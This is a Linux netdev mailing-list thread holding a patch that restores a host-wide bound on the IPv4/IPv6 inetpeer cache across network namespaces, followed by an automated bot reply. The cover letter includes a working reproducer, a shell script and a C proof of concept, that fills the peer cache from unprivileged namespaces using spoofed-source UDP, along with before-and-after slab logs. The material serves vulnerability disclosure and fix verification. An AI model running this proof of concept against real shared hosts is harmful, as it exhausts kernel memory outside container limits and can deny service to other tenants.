* [PATCH net 0/1] inetpeer: bound the peer cache across network namespaces
@ 2026-12-02 6:08 Ren Wei
2026-12-02 6:08 ` [PATCH net 1/1] " Ren Wei
2026-12-02 6:14 ` [PATCH net 0/1] " netdev-bot+sinfo
0 siblings, 2 replies; 3+ messages in thread
From: Ren Wei @ 2026-12-02 6:08 UTC (permalink / raw)
To: netdev
Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, willemb, horms,
vega, caoruide123, weir
From: Ruide Cao <caoruide123@gmail.com>
Hi Linux kernel maintainers,
We found an issue in net/ipv4/inetpeer.c.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11571
inet_peer_threshold is sized at roughly 1% of host physical memory. But
the threshold is applied to each inet_peer_base on its own. Every
network namespace has separate IPv4 and IPv6 bases. The global peer
slab lacks SLAB_ACCOUNT, and allocations use GFP_ATOMIC without
__GFP_ACCOUNT. So these objects are not charged to the attacker's
memory cgroup. Garbage collection only runs on a cache miss. An
attacker can quickly fill each base to just below the threshold. If
the namespaces stay alive, all entries stay too, and no more GC runs.
Creating and filling many user/network namespaces makes peer-cache
memory grow linearly with the number of namespaces. This memory is
outside container memory limits.
Privilege model: root (or CAP_SYS_ADMIN) is only used to lower
`inet_peer_threshold` for a quick demo and to start the workers. The
trigger itself runs as an unprivileged worker under `unshare -Urn` (as
`test_user` in the reproducer below).
This change only adds a host-wide peer-cache bound and SLAB_ACCOUNT. It
does not affect other networking features.
The host-wide bound was lost in commit 4b9d9be839fd ("inetpeer: remove
unused list"). That commit dropped compute_total() and switched to a
per-base GC threshold. Later, commit c8a627ed06d6 ("inetpeer: add
namespace support for inetpeer") moved those trees into each network
namespace. This multiplied the same budget.
This is not a reply to Eric Dumazet's August 2026 thread and not a
resend of that patch. His patch would have capped each inet_peer_base
at twice inet_peer_threshold, and he later dropped it. A per-base cap
would not bound the host-wide total across namespaces. This series
replaces that withdrawn attempt with a single host-wide counter. The
SipHash change from that series, 2ee66e948717, is already upstream. It
randomizes lookup and eviction. It does not provide a host-wide bound
across namespaces.
Link: https://lore.kernel.org/netdev/20260812205946.356185-2-edumazet@google.com/
Tested: in 2 GB RAM x86 QEMU, with inet_peer_threshold lowered to 5000
and 4 unprivileged namespaces of 2000 IPv4 peers each.
/sys/kernel/slab/inet_peer/objects grew to 8700 without the fix. It
stayed at 5339 with the fix (log below). packetdrill is not used. The
trigger needs inet_peer entries across many network namespaces, not a
single packet exchange.
Reproducer script, run as root. The workers drop to test_user:
#!/bin/sh
set -eu
BIN="${BIN:-./poc}"
echo "=== uname $(uname -r) ==="
THRESHOLD_SET="${THRESHOLD_SET:-5000}"
NAMESPACES="${NAMESPACES:-4}"
COUNT="${COUNT:-2000}"
HOLD="${HOLD:-20}"
FAMILY="${FAMILY:-v4}"
echo "=== default inet_peer_threshold ==="
cat /proc/sys/net/ipv4/inet_peer_threshold
echo "=== set inet_peer_threshold=$THRESHOLD_SET ==="
echo "$THRESHOLD_SET" > /proc/sys/net/ipv4/inet_peer_threshold
echo -n "threshold_now="; cat /proc/sys/net/ipv4/inet_peer_threshold
BASELINE=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects)
echo "SLAB_BASELINE objects=$BASELINE"
i=1
while [ "$i" -le "$NAMESPACES" ]; do
# root orchestrates; trigger worker runs unprivileged under unshare -Urn as test_user
su -s /bin/sh -c "exec unshare -Urn -- $BIN worker $COUNT $HOLD $FAMILY" test_user >/tmp/worker$i.log 2>&1 &
echo "started namespace $i pid=$!"
# wait for spray (TCG); poll until this worker logs slab_after or timeout
w=0
while [ "$w" -lt 40 ]; do
if grep -q 'slab_after=' /tmp/worker$i.log 2>/dev/null; then
break
fi
sleep 2
w=$((w+1))
done
OBJECTS=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects)
echo "AFTER_NS=$i objects=$OBJECTS threshold=$THRESHOLD_SET"
i=$((i + 1))
done
j=1
while [ "$j" -le 5 ]; do
OBJECTS=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects)
echo "POLL j=$j objects=$OBJECTS threshold=$(cat /proc/sys/net/ipv4/inet_peer_threshold)"
sleep 2
j=$((j+1))
done
echo "=== FINAL ==="
echo -n "threshold="; cat /proc/sys/net/ipv4/inet_peer_threshold
echo "objects=$(awk '{print $1}' /sys/kernel/slab/inet_peer/objects)"
echo "NAMESPACES=$NAMESPACES COUNT=$COUNT FAMILY=$FAMILY HOLD=$HOLD"
echo "=== SLABDONE ==="
We run the PoC in a 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define VETH_RX "vethA"
#define VETH_TX "vethB"
#define RX_V4 "10.23.0.1/24"
#define TX_V4 "10.23.0.2/24"
#define RX_V4_ADDR "10.23.0.1"
#define FAKE_V4_GW "10.23.0.254"
#define SPOOF_V4_ROUTE "198.18.0.0/15"
#define RX_V6 "fd00:23::1/64"
#define TX_V6 "fd00:23::2/64"
#define RX_V6_ADDR "fd00:23::1"
#define FAKE_V6_GW "fd00:23::ffff"
#define SPOOF_V6_ROUTE "2001:db8:1::/48"
#define CLOSED_DPORT 9
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
exit(1);
}
static int run_cmd(const char *fmt, ...)
{
char cmd[1024];
va_list ap;
int ret;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
ret = system(cmd);
if (ret != 0)
fprintf(stderr, "command failed (%d): %s\n", ret, cmd);
return ret;
}
static int try_read_int_file(const char *path, int *value)
{
int fd;
char buf[64];
ssize_t n;
fd = open(path, O_RDONLY);
if (fd < 0)
return -1;
n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n < 0)
return -1;
buf[n] = '\0';
*value = atoi(buf);
return 0;
}
static void send_ipv4_udp(int sock, int ifindex,
uint32_t src_addr, uint32_t dst_addr,
uint16_t dport, const void *payload, size_t payload_len)
{
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_port = htons(dport),
.sin_addr.s_addr = dst_addr,
};
struct in_pktinfo pktinfo = {
.ipi_ifindex = ifindex,
.ipi_spec_dst.s_addr = src_addr,
};
struct iovec iov = {
.iov_base = (void *)payload,
.iov_len = payload_len,
};
char cbuf[CMSG_SPACE(sizeof(pktinfo))];
struct msghdr msg = {
.msg_name = &dst,
.msg_namelen = sizeof(dst),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cmsg;
memset(cbuf, 0, sizeof(cbuf));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = IPPROTO_IP;
cmsg->cmsg_type = IP_PKTINFO;
cmsg->cmsg_len = CMSG_LEN(sizeof(pktinfo));
memcpy(CMSG_DATA(cmsg), &pktinfo, sizeof(pktinfo));
if (sendmsg(sock, &msg, 0) < 0)
die("sendmsg(ipv4): %s", strerror(errno));
}
static void send_ipv6_udp(int sock, int ifindex,
const struct in6_addr *src_addr,
const struct in6_addr *dst_addr,
uint16_t dport, const void *payload, size_t payload_len)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_port = htons(dport),
.sin6_addr = *dst_addr,
};
struct in6_pktinfo pktinfo = {
.ipi6_addr = *src_addr,
.ipi6_ifindex = ifindex,
};
struct iovec iov = {
.iov_base = (void *)payload,
.iov_len = payload_len,
};
char cbuf[CMSG_SPACE(sizeof(pktinfo))];
struct msghdr msg = {
.msg_name = &dst,
.msg_namelen = sizeof(dst),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cmsg;
memset(cbuf, 0, sizeof(cbuf));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_PKTINFO;
cmsg->cmsg_len = CMSG_LEN(sizeof(pktinfo));
memcpy(CMSG_DATA(cmsg), &pktinfo, sizeof(pktinfo));
if (sendmsg(sock, &msg, 0) < 0)
die("sendmsg(ipv6): %s", strerror(errno));
}
static void setup_namespace(void)
{
if (run_cmd("ip link set lo up"))
die("failed to bring up loopback");
if (run_cmd("ip link add %s type veth peer name %s", VETH_RX, VETH_TX))
die("failed to create veth pair");
/* Some ip/busybox builds ignore peer name and call the peer veth0. */
if (!if_nametoindex(VETH_TX)) {
if (run_cmd("ip link set veth0 name %s", VETH_TX))
die("failed to rename peer to %s", VETH_TX);
}
if (run_cmd("ip addr add %s dev %s", RX_V4, VETH_RX))
die("failed to add %s to %s", RX_V4, VETH_RX);
if (run_cmd("ip addr add %s dev %s", TX_V4, VETH_TX))
die("failed to add %s to %s", TX_V4, VETH_TX);
run_cmd("ip -6 addr add %s dev %s", RX_V6, VETH_RX);
run_cmd("ip -6 addr add %s dev %s", TX_V6, VETH_TX);
if (run_cmd("ip link set %s up", VETH_RX))
die("failed to bring up %s", VETH_RX);
if (run_cmd("ip link set %s up", VETH_TX))
die("failed to bring up %s", VETH_TX);
if (run_cmd("ip route add %s via %s dev %s onlink", SPOOF_V4_ROUTE,
FAKE_V4_GW, VETH_RX))
die("failed to add IPv4 route");
run_cmd("ip -6 route add %s via %s dev %s onlink", SPOOF_V6_ROUTE,
FAKE_V6_GW, VETH_RX);
run_cmd("sysctl -qw net.ipv4.conf.all.rp_filter=0");
run_cmd("sysctl -qw net.ipv4.conf.default.rp_filter=0");
run_cmd("sysctl -qw net.ipv4.conf.%s.rp_filter=0", VETH_RX);
run_cmd("sysctl -qw net.ipv4.conf.%s.rp_filter=0", VETH_TX);
run_cmd("sysctl -qw net.ipv4.conf.all.accept_local=1");
run_cmd("sysctl -qw net.ipv4.conf.%s.accept_local=1", VETH_RX);
run_cmd("sysctl -qw net.ipv4.conf.%s.accept_local=1", VETH_TX);
run_cmd("sysctl -qw net.ipv4.icmp_msgs_per_sec=1000000");
run_cmd("sysctl -qw net.ipv4.icmp_msgs_burst=1000000");
/* keep icmp_ratelimit non-zero so icmpv4_xrlim_allow() calls inet_getpeer() */
run_cmd("sysctl -qw net.ipv4.icmp_ratelimit=1000");
run_cmd("sysctl -qw net.ipv4.ip_nonlocal_bind=1");
run_cmd("sysctl -qw net.ipv6.icmp.ratelimit=1000");
run_cmd("sysctl -qw net.ipv6.ip_nonlocal_bind=1");
}
static void fill_ipv4(int sock, int ifindex, int count)
{
uint32_t dst_addr;
uint8_t payload[8] = { 0 };
if (inet_pton(AF_INET, RX_V4_ADDR, &dst_addr) != 1)
die("inet_pton(%s)", RX_V4_ADDR);
for (int i = 1; i <= count; i++) {
uint32_t src_addr = htonl((198U << 24) | (18U << 16) | i);
memcpy(payload, &i, sizeof(i));
send_ipv4_udp(sock, ifindex, src_addr, dst_addr,
CLOSED_DPORT, payload, sizeof(payload));
}
}
static void fill_ipv6(int sock, int ifindex, int count)
{
struct in6_addr dst_addr;
uint8_t payload[8] = { 0 };
if (inet_pton(AF_INET6, RX_V6_ADDR, &dst_addr) != 1)
die("inet_pton(%s)", RX_V6_ADDR);
for (int i = 1; i <= count; i++) {
struct in6_addr src_addr = {};
src_addr.s6_addr16[0] = htons(0x2001);
src_addr.s6_addr16[1] = htons(0x0db8);
src_addr.s6_addr16[2] = htons(0x0001);
src_addr.s6_addr16[7] = htons(i);
memcpy(payload, &i, sizeof(i));
send_ipv6_udp(sock, ifindex, &src_addr, &dst_addr,
CLOSED_DPORT, payload, sizeof(payload));
}
}
static void worker_main(int count, int hold_seconds, bool do_v4, bool do_v6)
{
int sock;
int sock6;
int ifindex;
int threshold;
int slab_before = -1;
int slab_after = -1;
char path[128];
int one = 1;
setup_namespace();
ifindex = if_nametoindex(VETH_TX);
if (!ifindex)
die("if_nametoindex(%s): %s", VETH_TX, strerror(errno));
threshold = 65664;
try_read_int_file("/proc/sys/net/ipv4/inet_peer_threshold", &threshold);
snprintf(path, sizeof(path), "/sys/kernel/slab/inet_peer/objects");
try_read_int_file(path, &slab_before);
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
die("socket(AF_INET): %s", strerror(errno));
setsockopt(sock, IPPROTO_IP, IP_FREEBIND, &one, sizeof(one));
setsockopt(sock, IPPROTO_IP, IP_TRANSPARENT, &one, sizeof(one));
if (setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, VETH_TX, strlen(VETH_TX) + 1) < 0)
die("SO_BINDTODEVICE(%s): %s", VETH_TX, strerror(errno));
sock6 = socket(AF_INET6, SOCK_DGRAM, 0);
if (sock6 < 0)
die("socket(AF_INET6): %s", strerror(errno));
setsockopt(sock6, IPPROTO_IPV6, IPV6_FREEBIND, &one, sizeof(one));
setsockopt(sock6, IPPROTO_IPV6, IPV6_TRANSPARENT, &one, sizeof(one));
if (setsockopt(sock6, SOL_SOCKET, SO_BINDTODEVICE, VETH_TX, strlen(VETH_TX) + 1) < 0)
die("SO_BINDTODEVICE(%s): %s", VETH_TX, strerror(errno));
if (count <= 0)
count = threshold - 1024;
if (count > 65000)
count = 65000;
fprintf(stderr, "worker pid=%d threshold=%d target_per_family=%d slab_before=%d\n",
getpid(), threshold, count, slab_before);
if (do_v4)
fill_ipv4(sock, ifindex, count);
if (do_v6)
fill_ipv6(sock6, ifindex, count);
try_read_int_file(path, &slab_after);
fprintf(stderr, "worker pid=%d slab_after=%d delta=%d\n",
getpid(), slab_after, slab_after - slab_before);
fprintf(stderr, "worker pid=%d holding namespace for %d seconds\n",
getpid(), hold_seconds);
sleep(hold_seconds);
}
static void usage(const char *prog)
{
fprintf(stderr, "usage: %s worker [count] [hold_seconds] [v4|v6|both]\n", prog);
exit(1);
}
int main(int argc, char **argv)
{
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "worker") == 0) {
int count = 0;
int hold_seconds = 3600;
bool do_v4 = true;
bool do_v6 = true;
if (argc >= 3)
count = atoi(argv[2]);
if (argc >= 4)
hold_seconds = atoi(argv[3]);
if (argc >= 5) {
if (strcmp(argv[4], "v4") == 0)
do_v6 = false;
else if (strcmp(argv[4], "v6") == 0)
do_v4 = false;
else if (strcmp(argv[4], "both") != 0)
usage(argv[0]);
}
worker_main(count, hold_seconds, do_v4, do_v6);
return 0;
}
usage(argv[0]);
return 1;
}
------END PoC--------
The logs below are raw console output from two boots of 2 GB RAM x86
QEMU. They show inet_peer slab growth, read from
/sys/kernel/slab/inet_peer/objects. Both runs use the same settings:
NAMESPACES=4, COUNT=2000 and FAMILY=v4. inet_peer_threshold is lowered
to 5000 for a quick multi-netns demo. The default on this guest was
65664. Root only starts the workers. Each worker runs as test_user
under unshare -Urn. The lines are verbatim. [...] marks omitted output.
With the fix, objects stopped at 5339. That is the 5000 cap plus the
300 objects already in the slab before the workers started.
Pre-fix (base-commit, no host-wide cap):
----BEGIN log----
[...]
=== uname 7.3.0-rc3 ===
=== default inet_peer_threshold ===
65664
=== set inet_peer_threshold=5000 ===
threshold_now=5000
SLAB_BASELINE objects=420
started namespace 1 pid=69
[...]
AFTER_NS=1 objects=2460 threshold=5000
started namespace 2 pid=98
[...]
AFTER_NS=2 objects=4560 threshold=5000
started namespace 3 pid=127
[...]
AFTER_NS=3 objects=6660 threshold=5000
started namespace 4 pid=156
[...]
AFTER_NS=4 objects=8700 threshold=5000
POLL j=1 objects=8700 threshold=5000
POLL j=2 objects=8700 threshold=5000
POLL j=3 objects=8700 threshold=5000
POLL j=4 objects=8700 threshold=5000
POLL j=5 objects=8700 threshold=5000
[...]
=== FINAL ===
threshold=5000
objects=8700
NAMESPACES=4 COUNT=2000 FAMILY=v4 HOLD=20
=== SLABDONE ===
[...]
-----END log-----
Post-fix (base-commit + this patch):
----BEGIN log----
[...]
=== uname 7.3.0-rc3 ===
=== default inet_peer_threshold ===
65664
=== set inet_peer_threshold=5000 ===
threshold_now=5000
SLAB_BASELINE objects=300
started namespace 1 pid=69
[...]
AFTER_NS=1 objects=2280 threshold=5000
started namespace 2 pid=98
[...]
AFTER_NS=2 objects=4319 threshold=5000
started namespace 3 pid=127
[...]
AFTER_NS=3 objects=5339 threshold=5000
started namespace 4 pid=156
[...]
AFTER_NS=4 objects=5339 threshold=5000
POLL j=1 objects=5339 threshold=5000
POLL j=2 objects=5339 threshold=5000
POLL j=3 objects=5339 threshold=5000
POLL j=4 objects=5339 threshold=5000
POLL j=5 objects=5339 threshold=5000
[...]
=== FINAL ===
threshold=5000
objects=5339
NAMESPACES=4 COUNT=2000 FAMILY=v4 HOLD=20
=== SLABDONE ===
[...]
-----END log-----
Best regards,
Ruide Cao
Ruide Cao (1):
inetpeer: bound the peer cache across network namespaces
net/ipv4/inetpeer.c | 26 +++++++++++++++++++++++---
1 file changed, 23 insertions(+), 3 deletions(-)
base-commit: 17741334d00bf5ebd37f8c1c36bc9c146a351deb
--
2.47.3
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH net 1/1] inetpeer: bound the peer cache across network namespaces
2026-12-02 6:08 [PATCH net 0/1] inetpeer: bound the peer cache across network namespaces Ren Wei
@ 2026-12-02 6:08 ` Ren Wei
2026-12-02 6:14 ` [PATCH net 0/1] " netdev-bot+sinfo
1 sibling, 0 replies; 3+ messages in thread
From: Ren Wei @ 2026-12-02 6:08 UTC (permalink / raw)
To: netdev
Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, willemb, horms,
vega, caoruide123, weir
From: Ruide Cao <caoruide123@gmail.com>
The inet_peer_threshold value is calculated from host memory. But each
network namespace has its own IPv4 and IPv6 peer trees. Cache misses
can fill every namespace up to the threshold. The shared slab cache is
also not accounted to memory cgroups.
commit 4b9d9be839fd ("inetpeer: remove unused list") dropped
compute_total(). That function summed the IPv4 and IPv6 trees for a
host-wide GC threshold. The commit switched to a per-base comparison.
Later, commit c8a627ed06d6 ("inetpeer: add namespace support for
inetpeer") moved those per-base trees into each network namespace. So
the same budget is multiplied by the number of namespaces.
Reserve entries from a host-wide atomic count before allocating.
Release the reservation when the allocation fails or when a tree entry
is removed. Also account the cache to the allocating memory cgroup.
When the host-wide limit is reached, the current miss returns NULL.
Callers already handle allocation failure. The miss is not retried in
the same call.
Per-network-namespace peer state is kept. The host-wide bound on the
cache is restored.
Eric Dumazet posted a related patch in August 2026. It would cap each
base at twice inet_peer_threshold. A per-base cap does not limit the
total across namespaces, and he later dropped the patch. This patch is
not a reply to that thread and not a resend of that patch. It replaces
that withdrawn attempt with a single host-wide counter. The SipHash
tree-ordering change from that series, 2ee66e948717, is already
upstream. It randomizes lookup and eviction. It does not provide a
host-wide bound across namespaces.
Link: https://lore.kernel.org/netdev/20260812205946.356185-2-edumazet@google.com/
Fixes: 4b9d9be839fd ("inetpeer: remove unused list")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Ruide Cao <caoruide123@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
net/ipv4/inetpeer.c | 26 +++++++++++++++++++++++---
1 file changed, 23 insertions(+), 3 deletions(-)
diff --git a/net/ipv4/inetpeer.c b/net/ipv4/inetpeer.c
index adf6dc8a95b4..06c26dc3ff04 100644
--- a/net/ipv4/inetpeer.c
+++ b/net/ipv4/inetpeer.c
@@ -44,7 +44,7 @@
* 1. Nodes may appear in the tree only with the pool lock held.
* 2. Nodes may disappear from the tree only with the pool lock held
* AND reference count being 0.
- * 3. Global variable peer_total is modified under the pool lock.
+ * 3. Global variable peer_total is modified atomically.
* 4. struct inet_peer fields modification:
* rb_node: pool lock
* refcnt: atomically against modifications on other CPU;
@@ -53,6 +53,7 @@
*/
static struct kmem_cache *peer_cachep __ro_after_init;
+static atomic_t peer_total;
static siphash_aligned_key_t inetpeer_hash_key __read_mostly;
static u64 inetpeer_addr_hash(const struct inetpeer_addr *a)
@@ -97,6 +98,20 @@ int inet_peer_threshold __read_mostly; /* start to throw entries more
int inet_peer_minttl __read_mostly = 120 * HZ; /* TTL under high load: 120 sec */
int inet_peer_maxttl __read_mostly = 10 * 60 * HZ; /* usual time to live: 10 min */
+static bool inet_peer_try_alloc(void)
+{
+ int threshold, total;
+
+ threshold = READ_ONCE(inet_peer_threshold);
+ total = atomic_read(&peer_total);
+ do {
+ if (total >= threshold)
+ return false;
+ } while (!atomic_try_cmpxchg(&peer_total, &total, total + 1));
+
+ return true;
+}
+
/* Called from ip_output.c:ip_init */
void __init inet_initpeers(void)
{
@@ -108,7 +123,8 @@ void __init inet_initpeers(void)
inet_peer_threshold = clamp_val(nr_entries, 4096, 65536 + 128);
- peer_cachep = KMEM_CACHE(inet_peer, SLAB_HWCACHE_ALIGN | SLAB_PANIC);
+ peer_cachep = KMEM_CACHE(inet_peer,
+ SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT);
}
/* Called with rcu_read_lock() or base->lock held */
@@ -190,6 +206,7 @@ static void inet_peer_gc(struct inet_peer_base *base,
if (p) {
rb_erase(&p->rb_node, &base->rb_root);
base->total--;
+ atomic_dec(&peer_total);
kfree_rcu(p, rcu);
}
}
@@ -222,7 +239,7 @@ struct inet_peer *inet_getpeer(struct inet_peer_base *base,
gc_cnt = 0;
p = lookup(daddr, dhash, base, seq, gc_stack, &gc_cnt, &parent, &pp);
- if (!p) {
+ if (!p && inet_peer_try_alloc()) {
p = kmem_cache_alloc(peer_cachep, GFP_ATOMIC);
if (p) {
p->daddr = *daddr;
@@ -241,6 +258,8 @@ struct inet_peer *inet_getpeer(struct inet_peer_base *base,
rb_link_node(&p->rb_node, parent, pp);
rb_insert_color(&p->rb_node, &base->rb_root);
base->total++;
+ } else {
+ atomic_dec(&peer_total);
}
}
if (gc_cnt)
@@ -309,6 +328,7 @@ void inetpeer_invalidate_tree(struct inet_peer_base *base)
p = rb_next(p);
rb_erase(&peer->rb_node, &base->rb_root);
+ atomic_dec(&peer_total);
inet_putpeer(peer);
cond_resched();
}
--
2.47.3
^ permalink raw reply related [flat|nested] 3+ messages in thread* Re: [PATCH net 0/1] inetpeer: bound the peer cache across network namespaces
2026-12-02 6:08 [PATCH net 0/1] inetpeer: bound the peer cache across network namespaces Ren Wei
2026-12-02 6:08 ` [PATCH net 1/1] " Ren Wei
@ 2026-12-02 6:14 ` netdev-bot+sinfo
1 sibling, 0 replies; 3+ messages in thread
From: netdev-bot+sinfo @ 2026-12-02 6:14 UTC (permalink / raw)
To: Ren Wei
Cc: netdev, dsahern, idosch, davem, edumazet, kuba, pabeni, willemb,
horms, vega, caoruide123
Hi!
This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:
- How the issue was discovered, e.g. hit in production, hit during
development, syzbot report, manual code inspection, LLM or static
analysis tool scan.
Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account.
*IMPORTANT*: If you do repost (for other reasons) - please include
the relevant info in the cover letter or commit messages.
--
The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-12-02 6:14 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-12-02 6:08 [PATCH net 0/1] inetpeer: bound the peer cache across network namespaces Ren Wei
2026-12-02 6:08 ` [PATCH net 1/1] " Ren Wei
2026-12-02 6:14 ` [PATCH net 0/1] " netdev-bot+sinfo
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.